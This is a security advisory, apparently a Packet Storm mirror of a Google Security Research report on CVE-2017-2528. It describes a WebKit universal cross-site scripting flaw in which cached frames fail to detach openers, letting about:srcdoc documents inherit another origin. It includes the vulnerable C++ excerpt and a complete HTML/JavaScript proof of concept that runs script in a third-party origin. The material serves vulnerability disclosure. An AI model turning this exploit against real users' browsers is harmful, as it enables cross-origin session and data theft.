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packetstormGoogle Security ResearchPACKETSTORM:142769
HistoryJun 01, 2017 - 12:00 a.m.

WebKit CachedFrame Universal Cross Site Scripting

2017-06-0100:00:00
Google Security Research
packetstormsecurity.com
40

0.009 Low

EPSS

Percentile

80.6%

` WebKit: UXSS: CachedFrame doesn't detach openers   
  
CVE-2017-2528  
  
  
When a document loads "about:blank" or "about:srcdoc", it tries to inherit the security origin from its parent frame, or its opener frame if the parent frame doesn't exist. Normally, it doesn't happen that a subframe's document inherits its opener frame's security origin, because it has the parent frame. And it shouldn't happen at all. However, when the subframe is cached, only the parent frame is detached but not the opener frame. So, inheriting the opener frame's security origin could happen in that case.  
  
void Document::initSecurityContext()  
{  
...  
if (!shouldInheritSecurityOriginFromOwner(m_url)) <<----- check m_url is about:blank or about:srcdoc.  
return;  
  
// If we do not obtain a meaningful origin from the URL, then we try to  
// find one via the frame hierarchy.  
Frame* parentFrame = m_frame->tree().parent();  
Frame* openerFrame = m_frame->loader().opener();  
  
Frame* ownerFrame = parentFrame;  
if (!ownerFrame)  
ownerFrame = openerFrame;  
  
if (!ownerFrame) {  
didFailToInitializeSecurityOrigin();  
return;  
}  
  
...  
setCookieURL(ownerFrame->document()->cookieURL());  
// We alias the SecurityOrigins to match Firefox, see Bug 15313  
// <a href="https://bugs.webkit.org/show_bug.cgi?id=15313" title="" class="" rel="nofollow">https://bugs.webkit.org/show_bug.cgi?id=15313</a>  
setSecurityOriginPolicy(ownerFrame->document()->securityOriginPolicy());  
...  
}  
  
PoC:  
<body>  
Click anywhere.  
<script>  
  
window.onclick = () => {  
window.onclick = null;  
  
let w = open('about:blank', '', 'width=500, height=500');  
w.eval(`  
let f = document.body.appendChild(document.createElement('iframe'));  
f.contentWindow.name = 'zzz';  
opener.open('about:blank', 'zzz');  
  
function navigate(w, url, cb = null) {  
w.__check = true;  
  
let a = w.document.createElement('a');  
a.href = url;  
a.click();  
  
if (!cb)  
return;  
  
let it = setInterval(() => {  
let navigated = false;  
try {  
if (!w.__check)  
navigated = true;  
} catch (e) {  
navigated = true;  
}  
  
if (navigated) {  
clearInterval(it);  
cb();  
}  
}, 10);  
}  
  
navigate(opener, '<a href="https://abc.xyz/" title="" class="" rel="nofollow">https://abc.xyz/</a>', () => {  
f.srcdoc = '<script>opener.alert(opener.location);</scrip' + 't>';  
f.contentWindow.onbeforeunload = () => {  
f.contentWindow.onbeforeunload = null;  
  
navigate(window, 'about:blank');  
};  
  
navigate(f.contentWindow, 'about:srcdoc');  
});`);  
}  
  
</script>  
</body>  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

0.009 Low

EPSS

Percentile

80.6%